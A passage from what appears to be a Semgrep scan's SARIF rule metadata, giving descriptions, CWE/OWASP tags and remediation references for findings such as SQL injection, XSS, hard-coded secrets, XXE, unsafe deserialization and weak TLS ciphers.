python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django","id":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","name":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-connection-django.sqlobject-connection-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","id":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","name":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password","id":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","name":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-password.detected-artifactory-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"help":{"markdown":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection)\n - [https://cwe.mitre.org/data/definitions/323.html](https://cwe.mitre.org/data/definitions/323.html)\n","text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection","id":"kotlin.lang.security.gcm-detection.gcm-detection","name":"kotlin.lang.security.gcm-detection.gcm-detection","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.gcm-detection.gcm-detection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"help":{"markdown":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n","text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","id":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","name":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"help":{"markdown":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html](https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html)\n","text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement","id":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","name":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-policy-statement.public-s3-policy-statement"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"help":{"markdown":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization","id":"ruby.lang.security.bad-deserialization.bad-deserialization","name":"ruby.lang.security.bad-deserialization.bad-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.bad-deserialization.bad-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n - [https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati](https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati)\n","text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","id":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","name":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"help":{"markdown":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher)\n - [https://golang.org/pkg/crypto/tls/#InsecureCipherSuites](https://golang.org/pkg/crypto/tls/#InsecureCipherSuites)\n","text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","id":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","name":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.tls.tls-with-insecure-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","id":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","name":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django","id":"python.django.file.tainted-file-response-django.tainted-filename-response-django","name":"python.django.file.tainted-file-response-django.tainted-filename-response-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-file-response-django.tainted-filename-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"help":{"markdown":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content)\n - [https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11](https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response](https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#response-objects](https://flask.palletsprojects.com/en/1.1.x/api/#response-objects)\n","text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","id":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","name":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","id":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","name":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing 